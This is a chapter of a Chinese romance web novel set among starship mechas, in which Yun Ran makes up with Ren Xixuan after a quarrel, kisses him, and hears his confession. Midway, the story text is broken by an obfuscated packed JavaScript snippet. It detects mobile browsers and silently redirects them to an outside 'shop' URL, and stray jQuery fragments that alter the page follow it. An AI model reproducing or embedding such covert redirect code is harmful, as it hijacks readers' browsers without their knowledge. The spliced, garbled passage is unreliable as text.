73. 表白
作品:《和捡来的崽走上星际巅峰》 云冉清醒过来时,一眼就看到了守在她身边的任溪渲,她恼火极了,弹射起身,一拳朝他砸了过去:“你还过来干什么?”
“冉冉,你终于醒了!”面对云冉的进攻,任溪渲相当不走心地摔倒在地,脸上却还是惊喜的表情。
“你不痛?”云冉低头看了一眼机甲手掌,有些怀疑人生。
任溪渲立即道:“痛!冉冉力气真大!”
云冉:“......”
先是被人隔着没有痛感的机甲头盔一脚踢晕,现在对单兵全力一击却伤害值归零,云冉之前对付夏伊芙的手下积累起来的自信也完全消失了。
亏她还以为这种机甲适合她,还想着自己手搓一台防身用,现在看来还是算了。
一踢就晕,晕倒了之后她不就成了砧板上的鱼肉,任人宰割?
云冉用机甲手掌用力一拍地面,攻击力不行就算了,稍微使上些力,隔着机甲云冉都觉得手麻,实在是鸡肋。
等等!为什么她还在机甲里面?
云冉突然愣住了,传统机甲对精神力并无要求,任何一个机甲师都可以将这台机甲拆开,将昏迷的她解救出来,但没有,在她昏迷的时间里,她被困在机甲内部,孤零零地躺在地板上。
哦这样说不准确,因为还有个任溪渲陪着她。
但那不重要,重要的是,为什么没有机甲师来帮她从机甲里拉出来?
云冉心中隐隐有了猜测,但还是问任溪渲:“你就让我这么躺在这里?”
任溪渲摇头:“没有!我去找了机甲师系的老师,她们说这机甲看着小,但不好拆,我就只好在这里守着你了。”
云冉眼前一亮,看来她猜得没错,即便她身上这台老古董机甲防护性极差,但对传统机甲的结构不熟悉的人仍然难以拆开,那么即便她被打晕也仍有防护作用,她完全可以给自己制作一台,以后遇到危险也不至于只能引颈受戮。
回头她就去搜罗点好材料给自己装备上,到时候机甲的防护性更上一层楼,再加上操控简单、狭窄地形也能使用的优点,云冉就可以自己保护自己了。
再给金多也准备一台,这不比一根筋的单兵好使?
云冉想得正美呢,任·一根筋·溪·单兵·渲冷不丁开口了:“冉冉,你还在生气吗?”
“生气?我为什么要生气?”云冉瘪着嘴反问,不就是任溪渲对别人好说话对她却诸多要求?不就是他放言要和自己保持距离?不就是一来找她就一脚把她踢晕了?
她一点都不生气!
她倒要听听任溪渲怎么狡辩!
“对不起,我不应该和容钰说话的,我以后再也不和别的人说话了。”任溪渲态度诚恳,但检讨的内容让云冉很不满意。
他到底是怎么从一大堆问题中精准挑出最不严重的问题的?
那明明是他对外人很好说话,对她却各种要求的问题!
云冉冷哼一声:“还有呢?”她今天非得叫任溪渲认清自己的错误不可。
“还有?”任溪渲显然不知道自己还犯了什么事,他冥思苦想,终于又想出一点,“我不应该离你太远的,我应该时刻跟在你身后保护你。”
这才像句话嘛!
云冉终于满意了些:“继续。”
任溪渲可怜巴巴地看着云冉:“我真的想不到了,冉冉,你告诉我嘛,我保证以后再也不犯了!”
若是平常,云冉早就心软了,但是现在,她的头还在隐隐作痛,而任溪渲居然连这样的错误都敢避而不谈,这让云冉很是生气:“想不到?怎么挨踢的是我,失忆的却是你?你把我踢晕了转头就想当这事没发生过?”
任溪渲大惊失色,慌忙解释:“冉冉,不是我踢的你,是宁瑕干的!”
“啊?”云冉愣住了,仔细一回想,她好像还真没看清那人的脸,只是潜意识认为第一个来救自己的一定是任溪渲,就先入为主了。
这事一问便知,任溪渲应该不至于骗她。
她木着脸问:“你的意思是,你甚至不是第一个来救我的?”
任溪渲垂头道:“对不起,我下次一定冲在第一个,绝对不让别人伤了你。”
云冉也心虚,便没再纠结这个话题了:“下不为例。”
任溪渲重重点头,希冀道:“冉冉,那你原谅我了吗?”
云冉扭过头,哼道:“只是今天的事不怪你,但那天的事,没完!”
任溪渲的眼睛里瞬间蓄满了泪水,要掉不掉地看着云冉:“冉冉,我真的知道错了......”
“错哪了?”
任溪渲还是那句话:“我不该和容钰说话。”
云冉咬牙道:“我们的事和她没关系!我问你,为什么她提的建议你一下子就同意了?为什么我的话你就是不听?”
本以为自己说的这般清楚了,任溪渲该懂了,可他仍是一脸茫然的样子:“冉冉,我没有不听你的话呀!”
云冉生气道:“还胡说!你一直在闹我,就想让我按照你的想法做事!”
“我没有!”任溪渲急了,突然在云冉面前蹲下,将脸往她手里凑,正是平日里两人意见有分歧时他惯用的招数。
云冉下意识收了机甲,用手掌接住了他的脸。
入手细腻顺滑,手感依旧,云冉使劲捏了捏。
任溪渲仰头看着她,碧绿的眼眸中满满的情意,他小声道:“冉冉,你不喜欢我这样吗?”
云冉的手一下子就顿住了,她突然意识到,任溪渲这样的行径,好像是正是她给惯的,确实不能只怪他哈?
任溪渲继续道:“冉冉想怎么做都可以的,不管是机甲还是别的什么,我没有想要你按我的想法做事,我只是觉得,这样可以让你放松些。”
“如果你不喜欢的话,”任溪渲恋恋不舍地将脸往后撤,“我以后就不这样了。”
“诶!”云冉将另一只手也伸过去,一把托住了他的脸,纠结片刻后,她轻咳一声,道,“偶尔一次,还是可以的。”
“好!”任溪渲顿时高兴起来。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343475|195038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
云冉补充道:“别人的提议如果是合理的,你要答应也可以,但不可以在别人面前应得好好的,转头又来我面前闹,知道吗?”
“嗯嗯!”任溪渲用力将脸往云冉手心挤,“冉冉,你再捏捏,就不生气了,好不好?”
“说了我没生气。”云冉嘀咕道,她本想问问他说要和自己保持距离的事,但很快想起这事是夏伊芙告诉她的。
夏伊芙早就谋划着要在材料库夺她性命,肯定不愿意她和任溪渲还是之前那样形影不离的关系,她说的话,没一句可信的。
可她说的确实也有些道理,她和任溪渲并非同性,现在两人也都成年了,若是任溪渲没那个意思,云冉却一直靠着儿时的情谊捆着他的话,任溪渲的名声可就坏了。
云冉决定问个清楚:“咳,渲渲,你......”
话到了嘴边,她却有些不好意思了,尤其是被任溪渲那双晶莹剔透的眸子专注地注视着,更觉心虚。
“怎么了冉冉?”任溪渲心急起来,“你说,我什么都答应你!”
云冉不知道该怎么说,从她七岁开始,两人就朝夕相处,几乎从未分离,任溪渲虽然年纪最大,但反而是三个人里最单纯老实的,云冉总有一种欺骗了他感情的错觉。
她索性不说了,捧着任溪渲的脸道:“如果不想答应,就推开我。”
说完,她就对着任溪渲的唇印了上去。
任溪渲经过最开始的僵硬后,很快伸手扶住了云冉的肩膀,唯恐她反悔似的。
但云冉稍有想要后退的架势,任溪渲便松了手,惴惴不安地看着她。
云冉有些气喘,但心情很好,笑眯眯地看着他:“你答应了?”
任溪渲红着脸点头:“我喜欢冉冉。”
云冉皱眉:“你的喜欢和我的喜欢一样吗?你不要因为我帮过你几次,你就将感激和喜欢混为一谈了。”
任溪渲坚定道:“没有弄错,冉冉,我知道容义慎和李解是伴侣后,我就、就想要和你像她们那样生活在一起......”
云冉总算明白为什么任溪渲这半年老是奇奇怪怪的了,无奈道:“那我要是不说,你就一直憋在心里吗?”
明明喜欢却不表白,云冉完全不能理解任溪渲的脑回路。
任溪渲垂眸:“能和冉冉像家人一样相处,我就很满足了,至于别的都是恩赐,我不敢奢求。”
他眼睫处带着泪珠,显然情绪不如外表上那般平静,云冉甚至怀疑只需要一点点刺激,他马上就会哭出来。
于是她凑过去,笑吟吟道:“好啦,别哭了,再亲一个。”
她刚要贴近,便敏锐地听到一阵熟悉的脚步声,她立即做贼心虚般退开了。
任溪渲茫然抬头,不明白为什么到嘴边的亲亲飞走了,他下意识想要伸手去拉云冉,却只碰到一片衣角。
然后,那片布料直接被任溪渲扯下来了,两人正面面相觑,病房门口传来金多压抑着怒气的声音。
“哥,你在干什么?”

